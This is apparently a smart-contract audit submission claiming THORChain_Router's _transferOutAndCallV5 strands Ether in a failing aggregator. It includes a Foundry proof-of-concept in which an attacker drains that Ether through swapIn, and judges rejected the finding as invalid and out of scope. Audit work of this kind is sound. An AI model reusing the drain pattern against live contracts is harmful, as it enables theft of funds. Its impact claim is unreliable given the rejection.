`_transferOutAndCallV5` Does Not Send Gas Token to Recipient on Failing Aggregator

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L324

Vulnerability details

Impact

The _transferOutAndCallV5 function in the THORChain_Router contract fails to handle cases where the aggregator's swapOutV5 function fails. When the aggregator call fails, the gas token (Ether) sent with the transaction is not correctly redirected to the recipient or returned to the vault, but it sends to the target (aggregator) contract. This leads to a situation where the Ether is stranded in the aggregator contract and can be retrieved by a malicious actor through another interaction with the aggregator.

Proof of Concept

The following proof of concept demonstrates how Ether can be stranded in the aggregator contract when the swapOutV5 function fails and how an attacker can retrieve the stranded Ether.

Test Case (Foundry)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.22;

import {Test, console} from "forge-std/Test.sol";
import {THORChain_Router} from "../contracts/THORChain_Router.sol";
import {THORChain_Failing_Aggregator} from "../contracts/THORChain_Failing_Aggregator.sol";
import {SushiRouterSmol} from "../contracts/sushiswap/SushiRouterSmol.sol";
import {WETH} from "../contracts/sushiswap/WETH.sol";
import {ERC20Token} from "../contracts/Token.sol";

contract RouterPOC is Test {
    THORChain_Router public router;
    THORChain_Failing_Aggregator public failingAggregator;

    SushiRouterSmol public sushiRouter;
    WETH public weth;
    ERC20Token public token;

    address public vault;

    function setUp() public {
        router = new THORChain_Router();
        weth = new WETH();
        sushiRouter = new SushiRouterSmol(address(weth));
        failingAggregator = new THORChain_Failing_Aggregator(address(weth), address(sushiRouter));
        token = new ERC20Token();

        vault = makeAddr("Vault");

        // deal tokens for sushiRouter and WETH
        deal(address(weth), 10e18);
        deal(address(weth), address(sushiRouter), 10e18);
    }

    function testPOC_transferOutAndCallV5_doseNotSendGasTokenToTheRecipientInCaseOfFailingAggregator() public {
        address recipient = makeAddr("recipient");
        uint256 swapOutAmount = 2e18;
        deal(vault, swapOutAmount);

        // setup a transferOutAndCallV5 payload
        THORChain_Router.TransferOutAndCallData memory aggrPayload;
        aggrPayload = THORChain_Router.TransferOutAndCallData(
            payable(address(failingAggregator)),
            address(0), // native token
            swapOutAmount,
            address(token),
            payable(recipient),
            swapOutAmount,
            "",
            bytes(""),
            ""
        );

        vm.prank(vault);
        // The underlnine call of `aggregator.swapOutV5` will fail,
        router.transferOutAndCallV5{value: swapOutAmount}(aggrPayload);
        // and the router will send to the target (aggregator), 
        // while it should send to the recipient, or send back to the vault
        assertEq(address(failingAggregator).balance, swapOutAmount);
        assertEq(recipient.balance, 0);
        assertEq(vault.balance, 0);

        // However, if the target used is the same aggregator in codebase, it has an issue (whish is OOS),
        // that allow any one to pull those native tokens at any given moment;
        address attacker = makeAddr("Attacker");
        uint256 attackSwapInAmount  = 1e18;
        deal(address(token), attacker, attackSwapInAmount);
        vm.startPrank(attacker);
        token.approve(address(failingAggregator), attackSwapInAmount);
        failingAggregator.swapIn(
            attacker,
            address(router),
            "",
            address(token),
            attackSwapInAmount, // amount
            attackSwapInAmount, // 1e18 token = 1e18 ether
            type(uint256).max
        );
        vm.stopPrank();

        assertEq(attacker.balance, 2e18 + attackSwapInAmount);
        assertEq(address(failingAggregator).balance, 0);
    }
}

Tools Used

• Foundry

Recommended Mitigation Steps

To mitigate this issue, the _transferOutAndCallV5 function should be modified for handle cases where the aggregator call fails. Specifically, if the swapOutV5 function call fails, the Ether should be redirected to the recipient (not to the target) or returned to the vault.

Assessed type

Other

[c4-judge]

trust1995 marked the issue as unsatisfactory: Invalid

[c4-judge]

trust1995 marked the issue as unsatisfactory: Out of scope